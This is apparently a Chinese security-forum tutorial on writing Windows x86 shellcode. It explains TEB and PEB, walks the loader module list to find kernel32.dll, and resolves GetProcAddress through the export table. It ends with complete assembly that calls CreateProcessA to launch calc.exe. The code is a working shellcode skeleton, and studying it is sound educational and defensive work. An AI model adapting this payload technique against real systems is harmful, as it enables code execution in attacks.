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[SAFE-ID: JIWO-2020-2576]   作者:ecawen 发表于[2020-02-10]

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1. TEB

TEB对应的全称是Thread Environment Block ,直译过来是线程环绕块。[出自:jiwo.org]
TEB结构体存储了线程相关的一些关键信息。
在介绍TEB之前,先简单介绍一下进程和线程的概念。
简单来说,进程可以理解为一个程序,比如启动微信,启动cmd.exe都是启动了一个进程。
线程在进程内部,可以理解为真正干活的东西。一个进程至少要完成一个任务,所以一个进程至少有一个线程。当然一个进程可以有很多个线程,这些线程可以是顺序执行的,也可以是并发执行的(多线程)
线程是程序执行的最小单元。
系统会在TEB中保存线程的一些相关数据。TEB位于用户地址空间,比PEB所在地址低。
进程中的每一个线程都有属于自己的一个TEB,进程中的所有TEB都以堆栈的方式存放在0x7FFDE000开始的线性内存中,每个TEB的大小为4kb。
所以在用户模式下,当前线程的TEB拥有4kb的空间,可以通过CPU的FS寄存器来访问该段。
TEB的起始地址一般是FS:[0]
在windbg中可以使用$thread取得TEB的地址。

2. PEB

PEB全称是Process Environment Block 进程环境块。
通过上面的介绍已经说了每个线程都有自己的TEB,其实每个进程也有自己的PEB信息。
PEB也存放在用户态的地址空间。
在以前的操作系统中,PEB的默认地址在0x7FFDF000处。
PEB的地址计算有两种:
1 通过EPROCESS偏移0x1b0得到,但是EPROCESS是系统地址空间,访问EPROCESS需要R0的权限
2 通过TEB结构偏移0x30获取PEB
之前已经讲过,通过FS:[0] 可以获取到当前TEB 的起始地址
所以通过fs:[0x30] 就可以获取到PEB的地址

3. CreateProcess

我们都知道,CreateProcess函数可以用来创建一个新进程。官方文档如下:
图片描述

 

通过该函数,我们可以看得出来,CreateProcess函数有个关键的参数是程序的路径。
CreateProcess函数在调用之后
1 首先会参数中路径的文件,以FILE_EXECUTE的方式打开
2 把改文件映像装载进RAM
3 创建进程内核对象,也就是EPROCESS、KPROCESS和PEB结构
4 为新创建的进程分配地址空间
5 创建主线程的线程执行对象,也就是EHTREAD、KTHREAD和TEB结构
6 为主线程分配堆栈,建立该进程主线程的执行上下文
7 由Kernel32.dll通知系统进程创建成功
8 执行线程
9 在进程和线程的Context中完成地址空间的初始化,正式执行程序

4. 为什么要找PEB

上面已经说过,PEB保存了进程中的关键信息。PEB不仅包含了二进制映像信息,还包含了3个链表。这三个链表与已在进程空间中映射的已加载模块相关,所以可以通过链表找到kernel32.dll的地址。
比如在PEB中偏移0xC的位置指向了一个名为PEB_LDR_DATA结构的地址,PEB_LDR_DATA结构包含了三个LDR_DATA_TABLE双链。所以,要通过PEB找到kernel32.dll步骤如下:

  1. 通过FS:[0x30]找到PEB的地址
  2. 通过PEB + 0xC 找到PEB_LDR_DATA
  3. 通过PEB_LDR_DATA + 0x14找到InMemoryOrderModuleList,InMemoryOrderModuleList可以获取所有已加载模块。
  4. 第一个模块是eax地址本身
  5. 第二个模块是ntdll.dll
  6. 第三个模块是kernel32.dll 偏移地址为LDR+(DllBase - InMemoryOrderLinks ) = LDR + (0x18 - 0x8 ) = LDR + 0x10
    这里的偏移为0x10,是因为每次在加载dll的时候,地址都会存储在dllbase中偏移量为0x18的地方,而连接列表的起始地址又存储在InMemoeryOrderLinks偏移0x08的位置
    所以偏移量差可以计算得到:
    dllbase - InMemoeryOrderLinks = 0x18 - 0x08 = 0x10
    还是直接来看汇编代码如何实现:
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xor ecx, ecx
mul ecx
mov eax, [fs:ecx + 0x030]    ; 获取PEB,存入eax
mov eax, [eax + 0x00c]    ; 获取LDR,存入eax
mov eax, [eax + 0x014]    ; 获取InMemoryOrderModuleList,存入eax
mov eax, [eax]              ; 模块1 eax的地址
mov eax, [eax]              ; 模块2 ntdll的地址
mov eax, [eax + 0x10]       ; 模块3 kernel32.dll的地址
xor eax, eax

通过这段代码,就可以获取kernel32.dll的地址并且存放到eax中
图片描述

 

保存为exe,od加载,这里可以看到成功获取。
图片描述

5. 为什么要找到Kernel32.dll

找到Kernel32.dll的基址后,对Kernel进行解析就可以找到导出符号,调用相关的函数。
我们既然是要使用Kernel32.dll的导出函数,可以看一下PE结构中的导出表
导出表结构体名为IMAGE_EXPORT_DIRECTORY
结构体定义如下:
图片描述

 

通过对导出表结构体的观察可以得知,输出函数地址的RVA在导出表偏移
0x20的位置
因为之前有六个Dword,两个word 一共28,所以输出函数地址RVA在偏移32个字节的位置,也就是0x20
我们又知道,在PE文件格式中,MS-DOS一共占用0x40个字节,最后4个字节是e_lfanew指针,该指针会指向PE标头,而PE标头偏移0x78处的地方就是导出表的地址。
然后e_lfanew的地址又在可以通过kernel32偏移0x3c的地方得到
所以现在可以编写代码来找函数了:

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global _start
 
section .text
_start:
 
 
getkernel32:
    xor ecx, ecx                ; 清空ECX
    mul ecx                     ; 清空 EAX EDX
    mov eax, [fs:ecx + 0x30]    ; PEB address 放入eax
    mov eax, [eax + 0x0c]       ; LDR address 放入eax
    mov esi, [eax + 0x14]       ; InMemoryOrderModuleList loaded in esi
    lodsd                       ; program.exe address loaded in eax (1st module)
    xchg esi, eax               
    lodsd                       ; ntdll.dll address loaded (2nd module)
    mov ebx, [eax + 0x10]       ; kernel32.dll address loaded in ebx (3rd module)
 
    ; EBX = base of kernel32.dll address
 
getAddressofName:
    mov edx, [ebx + 0x3c]       ; load e_lfanew address in ebx
    add edx, ebx               
    mov edx, [edx + 0x78]       ; load data directory
    add edx, ebx
    mov esi, [edx + 0x20]       ; load "address of name"
    add esi, ebx
 
    ; ESI = RVAs

通过上面的代码,现在可以去获取和调用API了
要在函数列表中找到指定函数的地址,需要使用到GetProcAddress函数。
图片描述

 

GetProcAddress的实现原理应该是通过传入进来的dll模块句柄,遍历dll的导出函数列表与传入进来的函数名做对比。(就目前看到的资料应该是这样的)
通过上面的代码,目前eax已经在当前的dll模块了,所以我们也可以参考GetProcAddress的实现原理,去找到GetProcAddress函数的地址以供我们调用。
由于内存地址无法直接存放下GetProcAddress的十六进制编码,我们需要将该函数分解为四个部分
GetP
rocA
ddre
ss
然后将这四个部分分别转换为16进制显示
经过试验,发现其实只需要前面的3个四字节的元素就可以确定GetProcAddress的地址,所以只保留前面三部分:
0x50746547 = GetP
0x41636F72 =rocA
0x65726464 = ddre

 

所以GetProcAddress的代码可以编写如下:

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getProcAddress:
    inc ecx                             ; ordinals increment
    lodsd                               ; get "address of name" in eax
    add eax, ebx               
    cmp dword [eax], 0x50746547         ; GetP
    jnz getProcAddress
    cmp dword [eax + 0x4], 0x41636F72   ; rocA
    jnz getProcAddress
    cmp dword [eax + 0x8], 0x65726464   ; ddre
  jnz getProcAddress

6. 最终代码

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%include "io.inc"
 
section .text
global CMAIN
 
CMAIN:
 
getkernel32:
    xor ecx, ecx                ; zeroing register ECX
    mul ecx                     ; zeroing register EAX EDX
    mov eax, [fs:ecx + 0x030]   ; PEB loaded in eax
    mov eax, [eax + 0x00c]      ; LDR loaded in eax
    mov esi, [eax + 0x014]      ; InMemoryOrderModuleList loaded in esi
    lodsd                       ; program.exe address loaded in eax (1st module)
    xchg esi, eax               
    lodsd                       ; ntdll.dll address loaded (2nd module)
    mov ebx, [eax + 0x10]       ; kernel32.dll address loaded in ebx (3rd module)
 
    ; EBX = base of kernel32.dll address
 
getAddressofName:
    mov edx, [ebx + 0x3c]       ; load e_lfanew address in ebx
    add edx, ebx               
    mov edx, [edx + 0x78]       ; load data directory
    add edx, ebx
    mov esi, [edx + 0x20]       ; load "address of name"
    add esi, ebx
    xor ecx, ecx
 
    ; ESI = RVAs
 
getProcAddress:
    inc ecx                             ; ordinals increment
    lodsd                               ; get "address of name" in eax
    add eax, ebx               
    cmp dword [eax], 0x50746547         ; GetP
    jnz getProcAddress
    cmp dword [eax + 0x4], 0x41636F72   ; rocA
    jnz getProcAddress
    cmp dword [eax + 0x8], 0x65726464   ; ddre
    jnz getProcAddress
 
getProcAddressFunc:
    mov esi, [edx + 0x24]       ; offset ordinals
    add esi, ebx                ; pointer to the name ordinals table
    mov cx, [esi + ecx * 2]     ; CX = Number of function
    dec ecx
    mov esi, [edx + 0x1c]       ; ESI = Offset address table
    add esi, ebx                ; we placed at the begin of AddressOfFunctions array
    mov edx, [esi + ecx * 4]    ; EDX = Pointer(offset)
    add edx, ebx                ; EDX = getProcAddress
    mov ebp, edx                ; save getProcAddress in EBP for future purpose
 
getCreateProcessA:
    xor ecx, ecx                    ; zeroing ECX
    push 0x61614173                    ; aaAs
    sub word [esp + 0x2], 0x6161    ; aaAs - aa
    push 0x7365636f                 ; ecor
    push 0x72506574                 ; rPet
    push 0x61657243                 ; aerC
    push esp                        ; push the pointer to stack
    push ebx                        
    call edx                        ; call getprocAddress
 
zero_memory:
    xor ecx, ecx                ; zero out counter register
    mov cl, 0xff                ; we'll loop 255 times (0xff)
    xor edi, edi                ; edi now 0x00000000
 
    zero_loop:
    push edi                    ; place 0x00000000 on stack 255 times
    loop zero_loop              ; as a way to 'zero memory'
 
 
getcalc:
    push 0x636c6163             ; 'calc'
    mov ecx, esp                ; stack pointer to 'calc'
 
    ; Registers situation at this point
 
    ; EAX 75292062 kernel32.CreateProcessA
    ; ECX 0022FB7C ASCII "calc"
    ; EDX 75290000 kernel32.75290000
    ; EBX 75290000 kernel32.75290000
    ; ESP 0022FB7C ASCII "calc"
    ; EBP 0022FF94
    ; ESI 75344DD0 kernel32.75344DD0
    ; EDI 00000000
    ; EIP 00401088 get_calc.00401088
 
    push ecx                    ; processinfo pointing to 'calc' as a struct argument
    push ecx                    ; startupinfo pointing to 'calc' as a struct argument
    xor edx, edx                ; zero out
    push edx                    ; NULLS
    push edx
    push edx
    push edx
    push edx
    push edx
    push ecx                    ; 'calc'
    push edx
    call eax                    ; call CreateProcessA and spawn calc
 
getExitProcess:
    add esp, 0x010              ; clean the stack
    push 0x61737365                ; asse
    sub word [esp + 0x3], 0x61  ; asse -a
    push 0x636F7250             ; corP
    push 0x74697845             ; tixE
    push esp
    push ebx
    call ebp
 
    xor ecx, ecx
    push ecx
    call eax

代码编译之后可以直接在win7 win10上运行
运行结果如下:
图片描述

 

参考资料:https://0xdarkvortex.dev/index.php/2019/03/18/windows-shellcoding-x86-hunting-kernel32-dll-part-1/
http://hick.org/code/skape/papers/win32-shellcode.pdf

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